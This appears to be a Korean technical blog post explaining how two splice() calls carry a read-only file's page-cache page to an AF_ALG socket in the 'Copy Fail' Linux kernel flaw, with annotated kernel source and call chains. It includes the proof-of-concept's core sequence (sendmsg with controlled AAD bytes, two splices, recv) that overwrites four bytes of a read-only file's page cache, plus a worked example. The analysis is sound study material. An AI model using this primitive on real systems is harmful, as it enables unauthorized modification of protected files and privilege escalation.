여담
Copy Fail Background (1)에서는 AF_ALG, AEAD, page cache, scatterlist를 한 번에 훑었고, Background (2)에서는 AF_ALG를 kernel code 기준으로 따라갔다.
readable file이 어떻게 pipe 안으로 들어가는가?
pipe가 file data를 복사해서 보관하는가?
아니면 file의 page cache page 자체를 들고 있는가?
두 번째 splice는 그 page를 AF_ALG에 어떻게 전달하는가?
Plain Text
복사
이 글은 이 부분만 따로 본다.
일반적인 splice() 사용법을 나열하는 글이 아니라, Copy Fail에서 사용하는 두 번의 splice()를 기준으로 struct file, pipe_inode_info, pipe_buffer, page cache folio, bio_vec, iov_iter가 어떻게 연결되는지 kernel code를 따라간다.
앞의 글은 다음과 같다.
이 글에서 전달한 page가 실제 write되는 다음 단계는 본편에서 이어진다.
결론부터
Copy Fail에서 pipe는 attacker payload를 담는 일반 byte queue가 아니다.
읽기 가능한 target file의 page-cache page reference를 AF_ALG socket까지 운반하는 중간 객체다.
target file
-> address_space
-> page cache folio
-> struct page *P
-> pipe_buffer.page = P
-> bio_vec.bv_page = P
-> scatterlist sg_page(sg) = P
-> AF_ALG ctx->tsgl_list
Plain Text
복사
중간에 descriptor의 모양은 바뀌지만 struct page *P는 같다.
pipe_buffer.page == bio_vec.bv_page == sg_page(sg)
Plain Text
복사
그리고 이 page는 target file을 O_RDONLY로 열어 얻은 page다. 정상적으로는 crypto source로 읽기만 해야 한다. Copy Fail은 이후 vulnerable algif_aead가 이 source page를 destination SGL 뒤에 chain하면서 write가 가능해진다.
즉 splice() 자체가 file을 overwrite하는 게 아니다.
splice()
source page reference를 AF_ALG까지 전달
vulnerable algif_aead + authencesn
전달된 source page를 destination처럼 사용
page memory overwrite
Plain Text
복사
코드 읽는 지도
파일 | 역할 | 이 글에서 보는 함수/구조체 |
include/linux/pipe_fs_i.h | pipe ring과 각 slot에 저장되는 page descriptor를 정의한다. | struct pipe_buffer, struct pipe_inode_info, pipe_buf(), pipe_head_buf() |
fs/pipe.c | pipe()가 두 FD와 공통 pipe object를 만드는 과정, page reference의 release 동작을 구현한다. | alloc_pipe_info(), create_pipe_files(), do_pipe2(), generic_pipe_buf_release() |
fs/splice.c | splice() syscall의 방향을 판별하고 file-to-pipe, pipe-to-file/socket 경로를 dispatch한다. | do_splice(), splice_file_to_pipe(), do_splice_read(), do_splice_from(), splice_to_socket() |
mm/filemap.c | 일반 file의 page cache folio를 찾아 pipe buffer에 연결한다. | filemap_splice_read(), splice_folio_into_pipe() |
net/socket.c | socket FD에 대한 splice write가 splice_to_socket()으로 연결되는 지점을 보여준다. | socket_file_ops |
lib/scatterlist.c | pipe에서 만든 ITER_BVEC를 scatterlist로 변환한다. | extract_iter_to_sg(), extract_bvec_to_sg() |
crypto/af_alg.c | splice로 전달된 page를 AF_ALG TX SGL에 저장한다. | af_alg_sendmsg() |
splice()는 무엇을 하는 syscall인가
userspace signature는 다음 형태다.
ssize_t splice(int fd_in, loff_t *off_in,
int fd_out, loff_t *off_out,
size_t len, unsigned int flags);
C
복사
fd_in에서 fd_out으로 최대 len byte를 옮긴다. 하지만 일반적인 read()와 write() 조합과 가장 큰 차이는 userspace buffer가 없다는 점이다.
read + write
file page cache
-> copy_to_user(user buffer)
-> copy_from_user(destination)
splice
kernel page reference / kernel iterator
-> pipe
-> destination FD
Plain Text
복사
여기서 흔히 splice()를 zero-copy syscall이라고 부른다. 다만 모든 조합에서 반드시 byte copy가 0번이라는 뜻은 아니다. source와 destination의 file operation 구현에 따라 copy fallback이 존재할 수 있다.
Copy Fail에서 사용하는 일반 page-cache-backed file 경로는 실제로 page reference를 pipe에 연결한다. 반면 O_DIRECT file이나 DAX inode는 page cache를 사용하지 않으므로 do_splice_read()가 copy_splice_read() fallback을 선택한다.
if ((in->f_flags & O_DIRECT) || IS_DAX(in->f_mapping->host))
return copy_splice_read(in, ppos, pipe, len, flags);
return in->f_op->splice_read(in, ppos, pipe, len, flags);
C
복사
따라서 Copy Fail에서 중요한 zero-copy는 다음과 같이 좁혀서 이해하는 게 맞다.
일반 file의 page cache folio에서 얻은 struct page *를 pipe와 socket iterator가 공유하고, file byte를 별도 AF_ALG input page로 복사하지 않는 경로다.
왜 pipe가 필요한가
do_splice()는 input과 output 중 어느 쪽이 pipe인지 확인한다.
위치: fs/splice.c:1300
ipipe = get_pipe_info(in, true);
opipe = get_pipe_info(out, true);
if (ipipe && opipe) {
ret = splice_pipe_to_pipe(ipipe, opipe, len, flags);
} else if (ipipe) {
ret = do_splice_from(ipipe, out, &offset, len, flags);
} else if (opipe) {
ret = splice_file_to_pipe(in, opipe, &offset, len, flags);
} else {
ret = -EINVAL;
}
C
복사
방향은 네 가지다.
input | output | 경로 |
pipe | pipe | splice_pipe_to_pipe() |
pipe | file/socket | do_splice_from() → output의 splice_write |
file/socket | pipe | splice_file_to_pipe() → input의 splice_read |
일반 FD | 일반 FD | -EINVAL |
즉 splice(file_fd, socket_fd, ...)처럼 일반 file에서 socket으로 바로 보낼 수 있는 형태가 아니다. pipe가 kernel-side transport이자 page descriptor ring 역할을 한다.
Copy Fail은 그래서 두 번 호출한다.
1. target file -> pipe
2. pipe -> AF_ALG operation socket
Plain Text
복사
pipe()를 호출하면 생기는 kernel object
userspace에서는 다음 두 정수만 보인다.
int pipefd[2];
pipe(pipefd);
pipefd[0] = read end
pipefd[1] = write end
C
복사
kernel에서는 pipe()가 do_pipe2()와 create_pipe_files()를 거친다.
위치: fs/pipe.c:926-1062
create_pipe_files()는 read FD와 write FD를 만들고 두 struct file의 private_data에 같은 struct pipe_inode_info *를 저장한다.
f = alloc_file_pseudo(inode, pipe_mnt, "", O_WRONLY,
&pipeanon_fops);
f->private_data = inode->i_pipe;
res[0] = alloc_file_clone(f, O_RDONLY, &pipeanon_fops);
res[0]->private_data = inode->i_pipe;
res[1] = f;
C
복사
메모리 상태는 다음과 같다.
pipefd[0] -> struct file, O_RDONLY
private_data -----+
|
pipefd[1] -> struct file, O_WRONLY|
private_data -----+
v
struct pipe_inode_info
Plain Text
복사
struct pipe_inode_info는 pipe 전체 상태를 가진다.
위치: include/linux/pipe_fs_i.h:84-110
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
union pipe_index; /* head, tail */
unsigned int max_usage;
unsigned int ring_size;
...
struct pipe_buffer *bufs;
};
C
복사
alloc_pipe_info()는 기본적으로 PIPE_DEF_BUFFERS만큼의 pipe_buffer ring을 할당한다.
pipe->bufs = kzalloc_objs(struct pipe_buffer, pipe_bufs, ...);
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
C
복사
head는 producer가 새 buffer를 넣을 위치고, tail은 consumer가 읽을 위치다.
pipe->bufs ring
tail head
v v
[ used ][ used ][ empty ][ empty ] ...
producer: head 증가
consumer: tail 증가
Plain Text
복사
실제 slot 계산은 ring mask를 사용한다.
return &pipe->bufs[slot & (pipe->ring_size - 1)];
C
복사
pipe_buffer는 byte array가 아니다
위치: include/linux/pipe_fs_i.h:26-32
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
C
복사
핵심은 page, offset, len이다.
page : 실제 데이터가 들어 있는 page
offset : page 안에서 pipe data가 시작하는 위치
len : 유효한 data 길이
ops : page의 출처에 맞는 confirm/release/get 동작
Plain Text
복사
pipe ring의 한 slot은 개념적으로 다음 문장이다.
page P의 offset O부터 len L만큼을 현재 pipe data로 취급한다.
이 구조 때문에 pipe에는 서로 다른 출처의 page가 들어갈 수 있다.
pipe에 데이터를 넣은 방법 | pipe_buffer.page의 출처 |
write(pipefd[1], user_buf, ...) | pipe가 관리하는 anonymous page에 userspace byte를 복사 |
splice(file_fd, ..., pipefd[1], ...) | file의 page cache page를 직접 참조할 수 있음 |
vmsplice() | userspace page를 pin/reference한 buffer |
Copy Fail에서는 두 번째 경우만 중요하다. 공격자가 payload를 write(pipefd[1], ...)로 넣는 것이 아니다. target file page를 pipe ring slot에 걸어 둔다.
Step 1. splice syscall entry
위치: fs/splice.c:1616-1635
SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in,
int, fd_out, loff_t __user *, off_out,
size_t, len, unsigned int, flags)
{
if (!len)
return 0;
if (flags & ~SPLICE_F_ALL)
return -EINVAL;
CLASS(fd, in)(fd_in);
CLASS(fd, out)(fd_out);
return __do_splice(fd_file(in), off_in,
fd_file(out), off_out, len, flags);
}
C
복사
__do_splice()는 userspace의 off_in/off_out 값을 kernel loff_t로 가져오고 do_splice()를 호출한다.
pipe 쪽 offset pointer는 사용할 수 없다. pipe에는 seek 가능한 file position이 없기 때문이다.
file -> pipe
off_in : file offset pointer 또는 NULL
off_out : 반드시 NULL
pipe -> socket
off_in : 반드시 NULL
off_out : 일반적으로 NULL
Plain Text
복사
Copy Fail PoC도 이 형태를 그대로 사용한다.
splice(file_fd, &src_off, pipefd[1], NULL, splice_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, splice_len, 0);
C
복사
Step 2. 첫 번째 splice: target file에서 pipe로
공격에 사용되는 첫 호출은 다음과 같다.
size_t splice_len = target_offset + 4;
off_t src_off = 0;
splice(file_fd, &src_off,
pipefd[1], NULL,
splice_len, 0);
C
복사
file_fd는 O_RDONLY로 연다. 이 호출은 target file에 write를 요청하지 않기 때문이다.
do_splice()에서 output이 pipe이므로 다음 branch가 선택된다.
} else if (opipe) {
ret = rw_verify_area(READ, in, &offset, len);
...
ret = splice_file_to_pipe(in, opipe, &offset, len, flags);
}
C
복사
여기서 검사하는 operation도 READ다.
attacker에게 필요한 file permission
read permission
attacker에게 없어도 되는 permission
write permission
Plain Text
복사
이 read permission만으로 얻은 source page가 나중에 destination에 들어가는 것이 취약점의 security boundary violation이다.
splice_file_to_pipe()
위치: fs/splice.c:1280-1295
pipe_lock(opipe);
ret = wait_for_space(opipe, flags);
if (!ret)
ret = do_splice_read(in, offset, opipe, len, flags);
pipe_unlock(opipe);
C
복사
pipe ring에 빈 slot이 생길 때까지 기다린 뒤 input file의 splice_read 구현으로 보낸다.
do_splice_read()
위치: fs/splice.c:954-980
p_space = pipe->max_usage - pipe_buf_usage(pipe);
len = min_t(size_t, len, p_space << PAGE_SHIFT);
if (!in->f_op->splice_read)
return warn_unsupported(in, "read");
if ((in->f_flags & O_DIRECT) || IS_DAX(in->f_mapping->host))
return copy_splice_read(in, ppos, pipe, len, flags);
return in->f_op->splice_read(in, ppos, pipe, len, flags);
C
복사
일반 file의 splice_read는 filemap_splice_read()로 이어진다.
splice()
-> __do_splice()
-> do_splice()
-> splice_file_to_pipe()
-> do_splice_read()
-> file->f_op->splice_read()
-> filemap_splice_read()
Plain Text
복사
Step 3. filemap_splice_read()가 page cache folio를 얻는다
위치: mm/filemap.c:3048-3139
filemap_splice_read()는 input file의 address_space에서 page cache folio를 가져온다.
error = filemap_get_pages(&iocb, len, &fbatch, true);
C
복사
page cache에 folio가 이미 있으면 그것을 사용하고, 필요한 경우 readahead/I/O를 통해 folio를 채운다.
그 다음 batch의 각 folio를 pipe에 넣는다.
for (i = 0; i < folio_batch_count(&fbatch); i++) {
struct folio *folio = fbatch.folios[i];
...
n = splice_folio_into_pipe(pipe, folio, *ppos, n);
}
C
복사
여기까지의 상태는 다음과 같다.
target file
inode
-> i_mapping
-> page cache folio F
-> struct page P
[ file bytes ... ]
pipe
아직 empty
Plain Text
복사
이제 splice_folio_into_pipe()가 folio와 pipe ring을 연결한다.
Step 4. splice_folio_into_pipe()는 page pointer를 저장한다
위치: mm/filemap.c:2999-3027
page = folio_page(folio, offset / PAGE_SIZE);
size = min(size, folio_size(folio) - offset);
offset %= PAGE_SIZE;
while (spliced < size && !pipe_is_full(pipe)) {
struct pipe_buffer *buf = pipe_head_buf(pipe);
size_t part = min_t(size_t, PAGE_SIZE - offset,
size - spliced);
*buf = (struct pipe_buffer) {
.ops = &page_cache_pipe_buf_ops,
.page = page,
.offset = offset,
.len = part,
};
folio_get(folio);
pipe->head++;
...
}
C
복사
여기에는 memcpy()가 없다.
pipe_head_buf(pipe)로 현재 head slot을 얻고, page pointer와 범위만 기록한다.
before
page cache page P
[ target file bytes ]
after
page cache page P
[ target file bytes ]
pipe->bufs[head]
.page = P
.offset = file offset inside P
.len = requested length
.ops = page_cache_pipe_buf_ops
Plain Text
복사
folio_get(folio)는 pipe가 이 page를 참조하는 동안 page가 해제되지 않도록 reference count를 증가시킨다.
page_cache_pipe_buf_ops도 page가 page cache에서 왔다는 사실을 반영한다.
위치: fs/splice.c:155-160
const struct pipe_buf_operations page_cache_pipe_buf_ops = {
.confirm = page_cache_pipe_buf_confirm,
.release = page_cache_pipe_buf_release,
.try_steal = page_cache_pipe_buf_try_steal,
.get = generic_pipe_buf_get,
};
C
복사
confirm은 page-cache folio가 uptodate인지 확인하고 진행 중인 I/O 상태를 처리한다. release는 pipe가 buffer를 모두 소비했을 때 reference를 반납한다.
static void page_cache_pipe_buf_release(..., struct pipe_buffer *buf)
{
put_page(buf->page);
}
C
복사
중요한 점은 pipe가 page를 소유권 없이 잠깐 빌려 쓴다는 것이다.
첫 번째 splice 직후의 메모리 상태
target offset을 t라고 하고 file offset 0부터 t + 4 byte를 splice했다고 하자.
target file page cache
page P
+-------------------------------------------------+
| file[0] ... file[t-1] | file[t] ... file[t+3] |
+-------------------------------------------------+
pipe ring slot
pipe_buffer.page = P
pipe_buffer.offset = 0
pipe_buffer.len = t + 4
Plain Text
복사
pipe에 새로운 t + 4 byte 복사본이 생긴 것이 아니다.
틀린 그림
page P -> memcpy -> pipe private page Q
실제 그림
pipe_buffer.page --------> page P
Plain Text
복사
그래서 이후 pipe consumer가 buf->page를 사용하면 target file의 page-cache page를 직접 보게 된다.
Step 5. 두 번째 splice: pipe에서 AF_ALG socket으로
두 번째 호출은 다음 형태다.
splice(pipefd[0], NULL,
op_sock, NULL,
splice_len, 0);
C
복사
이번에는 input이 pipe이므로 do_splice()의 ipipe branch가 선택된다.
do_splice()
ipipe != NULL
opipe == NULL
-> do_splice_from(ipipe, out=AF_ALG socket, ...)
Plain Text
복사
do_splice_from()은 output FD의 splice_write operation을 호출한다.
위치: fs/splice.c:931-937
if (!out->f_op->splice_write)
return warn_unsupported(out, "write");
return out->f_op->splice_write(pipe, out, ppos, len, flags);
C
복사
socket FD의 file operations는 net/socket.c에 정의되어 있다.
위치: net/socket.c:156-173
static const struct file_operations socket_file_ops = {
...
.splice_write = splice_to_socket,
...
};
C
복사
따라서 실제 call chain은 다음과 같다.
splice(pipefd[0], op_sock)
-> __do_splice()
-> do_splice()
-> do_splice_from()
-> socket_file_ops.splice_write
-> splice_to_socket()
Plain Text
복사
Step 6. splice_to_socket()가 pipe_buffer를 bio_vec로 바꾼다
위치: fs/splice.c:795-917
splice_to_socket()은 pipe ring의 tail부터 buffer를 읽는다.
struct pipe_buffer *buf = pipe_buf(pipe, tail);
C
복사
page-cache buffer라면 먼저 pipe_buf_confirm()으로 data가 유효한지 확인한다.
ret = pipe_buf_confirm(pipe, buf);
C
복사
그 다음 pipe buffer의 page, offset, length를 struct bio_vec에 그대로 넣는다.
seg = min_t(size_t, remain, buf->len);
bvec_set_page(&bvec[bc++],
buf->page,
seg,
buf->offset);
C
복사
struct bio_vec도 data buffer가 아니라 page fragment descriptor다.
bio_vec
bv_page = 어느 page인가
bv_offset = page 내부 시작 위치
bv_len = 길이
Plain Text
복사
따라서 변환 후에도 pointer identity는 유지된다.
pipe_buffer.page = P
|
v
bio_vec.bv_page = P
Plain Text
복사
byte copy는 없다.
Step 7. kernel이 MSG_SPLICE_PAGES와 ITER_BVEC를 만든다
splice_to_socket()은 userspace의 sendmsg()를 그대로 재사용하지 않는다. kernel 안에서 struct msghdr와 iterator를 만들어 sock_sendmsg()를 호출한다.
msg.msg_flags = MSG_SPLICE_PAGES;
if (flags & SPLICE_F_MORE)
msg.msg_flags |= MSG_MORE;
iov_iter_bvec(&msg.msg_iter, ITER_SOURCE,
bvec, bc, len - remain);
ret = sock_sendmsg(sock, &msg);
C
복사
여기서 두 가지가 중요하다.
MSG_SPLICE_PAGES
msg_iter가 page reference를 담고 있다는 사실을 socket send path에 알림
ITER_BVEC
msg_iter의 backing storage가 struct bio_vec array임을 나타냄
Plain Text
복사
즉 Copy Fail exploit의 userspace 코드가 다음을 직접 호출하는 것이 아니다.
sendmsg(op_sock, ..., MSG_SPLICE_PAGES); // 실제 exploit 형태가 아님
C
복사
실제 형태는 다음이다.
splice(pipefd[0], NULL, op_sock, NULL, len, 0);
C
복사
그리고 두 번째 splice의 kernel 구현이 MSG_SPLICE_PAGES를 붙여 AF_ALG의 send path를 호출한다.
SPLICE_F_MORE를 userspace에서 넘기면 socket message의 MSG_MORE로 변환된다. Copy Fail PoC는 splice flags로 0을 사용하지만, 앞의 AAD sendmsg()에는 별도로 MSG_MORE를 사용해 AF_ALG request가 아직 끝나지 않았음을 표시한다.
Step 8. AF_ALG가 ITER_BVEC를 TX scatterlist로 바꾼다
sock_sendmsg()는 AF_ALG operation socket의 .sendmsg로 dispatch된다.
sock_sendmsg()
-> AF_ALG aead_sendmsg()
-> af_alg_sendmsg()
Plain Text
복사
af_alg_sendmsg()는 MSG_SPLICE_PAGES를 보고 copy path가 아니라 iterator extraction path를 선택한다.
위치: crypto/af_alg.c:1051-1069
if (msg->msg_flags & MSG_SPLICE_PAGES) {
plen = extract_iter_to_sg(&msg->msg_iter, len,
&sgtable, ..., 0);
for (; sgl->cur < sgtable.nents; sgl->cur++)
get_page(sg_page(&sg[sgl->cur]));
}
C
복사
msg_iter는 ITER_BVEC이므로 extract_iter_to_sg()는 extract_bvec_to_sg()를 호출한다.
위치: lib/scatterlist.c:1408-1422
case ITER_BVEC:
return extract_bvec_to_sg(iter, maxsize,
sgtable, sg_max,
extraction_flags);
C
복사
핵심 변환은 다음 한 줄이다.
위치: lib/scatterlist.c:1167-1206
sg_set_page(sg, bv[i].bv_page, len, off);
C
복사
따라서 같은 page pointer가 scatterlist에 들어간다.
target page cache page P
-> pipe_buffer.page = P
-> bio_vec.bv_page = P
-> sg_page(sg) = P
-> ctx->tsgl_list
Plain Text
복사
get_page(sg_page(...))는 AF_ALG TX SGL이 page reference를 따로 보유하게 만든다.
page reference lifetime
두 번째 splice가 socket send를 끝내면 pipe buffer의 offset과 len을 소비한 만큼 갱신한다.
buf->offset += seg;
buf->len -= seg;
if (!buf->len) {
pipe_buf_release(pipe, buf);
tail++;
}
C
복사
pipe_buf_release()는 page_cache_pipe_buf_release()를 통해 pipe가 잡은 reference를 하나 반납한다.
하지만 그 전에 af_alg_sendmsg()가 같은 page에 get_page()를 호출했다.
reference 변화는 개념적으로 다음과 같다.
file page cache가 보유한 page P
첫 번째 splice
folio_get(P)
-> pipe reference +1
두 번째 splice / AF_ALG send
get_page(P)
-> AF_ALG TX SGL reference +1
pipe buffer 소비
put_page(P)
-> pipe reference -1
결과
pipe ring에서는 사라짐
AF_ALG ctx->tsgl_list는 여전히 P를 참조
Plain Text
복사
그래서 pipe가 비어도 AF_ALG request가 target page를 계속 사용할 수 있다.
실제 Copy Fail 공격 형태
이제 두 번의 splice를 실제 4-byte overwrite operation에 대입해 보면 된다.
공격자는 target offset t에 4-byte 값 new_bytes를 쓰고 싶다.
로컬 PoC의 patch_chunk()는 다음 순서다.
/* 1. controlled bytes를 AAD 뒤쪽 4 byte에 배치 */
unsigned char aad[8] = { 'A', 'A', 'A', 'A',
new_bytes[0], new_bytes[1],
new_bytes[2], new_bytes[3] };
sendmsg(op_sock, &msg, MSG_MORE);
/* 2. target file의 0..t+3을 pipe에 연결 */
pipe(pipefd);
size_t splice_len = t + 4;
off_t src_off = 0;
splice(file_fd, &src_off, pipefd[1], NULL, splice_len, 0);
/* 3. 같은 page reference를 AF_ALG TX SGL에 전달 */
splice(pipefd[0], NULL, op_sock, NULL, splice_len, 0);
/* 4. decrypt를 실행해 vulnerable dst write 발생 */
recv(op_sock, sink, 8 + t, 0);
C
복사
각 단계의 data 출처를 구분해야 한다.
데이터 | 들어가는 방법 | 실제 backing page |
AAD = "AAAA" || new_bytes | 일반 sendmsg(MSG_MORE) | AF_ALG가 할당한 private page |
file[0..t+3] | file → pipe → AF_ALG splice | target file의 page-cache page |
즉 공격자가 pipe에 new_bytes를 쓰는 게 아니다.
controlled new_bytes
-> AAD
-> normal sendmsg
overwrite target page
-> target file
-> first splice
-> pipe_buffer.page
-> second splice
-> AF_ALG TX SGL
Plain Text
복사
두 입력은 AF_ALG의 하나의 logical TX stream에서 합쳐진다.
[ AAD 8 bytes ][ target file bytes 0 .. t+3 ]
AEAD 해석
[ AAD ][ ciphertext: file 0..t-1 ][ TAG: file t..t+3 ]
Plain Text
복사
vulnerable algif_aead는 마지막 4-byte TAG SGL을 RX destination 뒤에 chain한다. authencesn은 AAD의 4..7번째 byte를 destination 끝에 4 byte 쓰므로, 그 write가 file offset t의 TAG SGL에 도달한다.
구체적인 예: file offset 0x10에 WXYZ 쓰기
target offset을 t = 0x10으로 두고 new_bytes = "WXYZ"라고 하자.
AAD send
AAD
offset 0: A A A A
offset 4: W X Y Z
Plain Text
복사
file-to-pipe splice
splice_len = t + 4 = 0x14
target file page P에서 pipe로 연결되는 범위
file[0x00 .. 0x13]
Plain Text
복사
pipe ring에는 다음 descriptor가 생긴다.
pipe_buffer
page = P
offset = 0
len = 0x14
Plain Text
복사
pipe-to-AF_ALG splice
bio_vec
bv_page = P
bv_offset = 0
bv_len = 0x14
TX scatterlist
sg_page = P
sg offset = 0
sg length = 0x14
Plain Text
복사
AF_ALG logical input
[ AAD 8 ][ file 0x00..0x0f ][ file 0x10..0x13 ]
ciphertext 0x10 TAG 4 bytes
Plain Text
복사
vulnerable destination
RX SGL length = 8 + 0x10
-> chain
TAG_SG
page = P
offset = 0x10
length = 4
Plain Text
복사
authencesn write
source bytes
AAD[4..7] = WXYZ
destination
page_address(P) + 0x10
result
target file page cache의 0x10..0x13 = WXYZ
Plain Text
복사
이 operation을 t = 0, 4, 8, 12, ...로 반복하면 page cache를 4-byte chunk 단위로 패치할 수 있다.
왜 src_off는 항상 0인가
PoC는 target offset부터 4 byte만 splice하지 않는다.
src_off = 0;
splice_len = target_offset + 4;
C
복사
이유는 AF_ALG destination의 logical offset과 file offset을 맞추기 위해서다.
spliced file bytes
file[0 .. t-1] -> ciphertext 영역
file[t .. t+3] -> 마지막 4-byte TAG 영역
Plain Text
복사
vulnerable code가 source의 마지막 4 byte를 destination 뒤에 chain하므로, 앞에 t byte를 둬야 TAG SGL의 실제 file offset이 t가 된다.
file prefix length t
+ TAG length 4
= splice_len t + 4
Plain Text
복사
따라서 splice_len은 단순 전송 길이가 아니라 overwrite offset을 SGL 경계로 만드는 길이값이다.
MSG_MORE와 MSG_SPLICE_PAGES는 다르다
공격 흐름에는 비슷해 보이는 두 flag가 등장한다.
flag | 누가 설정하는가 | 역할 |
MSG_MORE | 첫 AAD sendmsg()에서 userspace PoC가 설정 | AF_ALG에게 입력이 더 이어진다고 알림 |
MSG_SPLICE_PAGES | 두 번째 splice의 splice_to_socket()이 kernel 내부에서 설정 | msg_iter의 page들을 copy하지 말고 page-backed input으로 처리하게 함 |
그래서 실제 call sequence는 다음처럼 읽어야 한다.
userspace
sendmsg(AAD, MSG_MORE)
splice(file -> pipe)
splice(pipe -> AF_ALG socket)
kernel inside second splice
msg.msg_flags = MSG_SPLICE_PAGES
iov_iter_bvec(...)
sock_sendmsg(...)
Plain Text
복사
splice flags
include/linux/splice.h에는 다음 flag가 있다.
#define SPLICE_F_MOVE 0x01
#define SPLICE_F_NONBLOCK 0x02
#define SPLICE_F_MORE 0x04
#define SPLICE_F_GIFT 0x08
C
복사
flag | 의미 |
SPLICE_F_MOVE | 가능하면 page를 복사하지 않고 이동하려는 hint다. 모든 path에서 강제되는 보장은 아니다. |
SPLICE_F_NONBLOCK | pipe가 비거나 가득 찬 상황에서 block하지 않고 -EAGAIN을 허용한다. |
SPLICE_F_MORE | 뒤에 데이터가 더 이어질 수 있음을 destination에 전달한다. socket path에서는 MSG_MORE로 변환된다. |
SPLICE_F_GIFT | 주로 vmsplice()에서 page ownership 관련 의미를 갖는다. |
Copy Fail PoC의 두 splice()는 flags로 0을 사용한다. 취약점에 필요한 핵심은 특별한 splice flag가 아니라 file page가 pipe buffer와 socket bvec를 거쳐 AF_ALG TX SGL에 같은 page reference로 들어간다는 점이다.
splice가 직접 write하는 것은 아니다
첫 번째 splice는 input file에 대해 rw_verify_area(READ, ...)를 호출한다.
두 번째 splice는 AF_ALG socket으로 page-backed message를 전송한다.
이 두 단계만으로 target page는 수정되지 않는다.
after first splice
target page P unchanged
pipe_buffer.page = P
after second splice
target page P unchanged
AF_ALG TX SGL points to P
after vulnerable AEAD recv path
source TAG SGL enters req->dst chain
authencesn writes through dst
target page P modified
Plain Text
복사
이 경계를 구분하지 않으면 splice()가 read-only file을 쓰는 syscall처럼 오해하기 쉽다.
정확한 root cause는 다음과 같다.
splice()는 정상적으로 read-only source page를 전달했지만, algif_aead가 source와 destination을 잘못 합쳐 crypto consumer의 write가 source page까지 도달했다.
전체 call chain
userspace
open(target, O_RDONLY)
pipe(pipefd)
splice(target_fd, &off0, pipefd[1], NULL, t+4, 0)
kernel: file -> pipe
sys_splice()
-> __do_splice()
-> do_splice()
-> splice_file_to_pipe()
-> do_splice_read()
-> filemap_splice_read()
-> filemap_get_pages()
-> splice_folio_into_pipe()
pipe_buffer.page = target page P
folio_get(P)
userspace
splice(pipefd[0], NULL, op_sock, NULL, t+4, 0)
kernel: pipe -> socket
sys_splice()
-> __do_splice()
-> do_splice()
-> do_splice_from()
-> socket_file_ops.splice_write
-> splice_to_socket()
bvec_set_page(..., buf->page, ...)
msg.msg_flags = MSG_SPLICE_PAGES
iov_iter_bvec(..., ITER_SOURCE, ...)
-> sock_sendmsg()
kernel: AF_ALG
-> aead_sendmsg()
-> af_alg_sendmsg()
-> extract_iter_to_sg()
-> extract_bvec_to_sg()
sg_set_page(sg, bv_page=P, ...)
-> get_page(P)
-> ctx->tsgl_list points to P
Plain Text
복사
Copy Fail 본편은 이 다음부터 시작한다.
ctx->tsgl_list
-> vulnerable algif_aead dst chain
-> authencesn scratch write
-> memcpy(page_address(P) + target_offset, new_bytes, 4)
Plain Text
복사
디버깅할 때 볼 값
call chain을 GDB로 확인한다면 다음 breakpoint가 핵심이다.
break do_splice
break splice_file_to_pipe
break filemap_splice_read
break splice_folio_into_pipe
break splice_to_socket
break af_alg_sendmsg
break extract_bvec_to_sg
Plain Text
복사
splice_folio_into_pipe()에서는 다음 값을 본다.
folio
page = folio_page(...)
buf->page
buf->offset
buf->len
pipe->head
pipe->tail
Plain Text
복사
splice_to_socket()에서는 pointer identity를 확인한다.
buf->page
bvec[0].bv_page
bvec[0].bv_offset
bvec[0].bv_len
msg.msg_flags
msg.msg_iter.iter_type
Plain Text
복사
af_alg_sendmsg()에서는 최종 scatterlist page를 비교한다.
bv_page
sg_page(sg)
sg->offset
sg->length
ctx->used
Plain Text
복사
확인해야 할 핵심 invariant는 하나다.
folio_page == pipe_buffer.page == bio_vec.bv_page == sg_page(sg)
Plain Text
복사
정리
splice()는 file content를 userspace buffer로 가져오지 않고 FD 사이에서 전달하기 위한 syscall이다. Copy Fail의 file-to-pipe 경로에서는 이 전달이 실제 page-cache page reference 공유로 구현된다.
filemap_get_pages()
target file의 page cache folio 획득
splice_folio_into_pipe()
pipe_buffer.page에 같은 page 저장
splice_to_socket()
bio_vec.bv_page에 같은 page 저장
extract_bvec_to_sg()
scatterlist에 같은 page 저장
af_alg_sendmsg()
get_page() 후 TX SGL에 보관
Plain Text
복사
공격 관점에서 pipe의 역할은 payload container가 아니다.
payload bytes
AAD를 통해 별도로 전달
overwrite target
read-only file의 page-cache page
pipe를 통해 AF_ALG에 reference로 전달
Plain Text
복사
그래서 Copy Fail의 splice 부분은 다음 한 문장으로 정리할 수 있다.
공격자는 읽기 가능한 file의 page-cache page를 file-to-pipe와 pipe-to-socket splice로 AF_ALG source SGL에 넣고, 이후 AEAD의 source/destination 혼동을 이용해 그 source page를 4-byte write destination으로 바꾼다.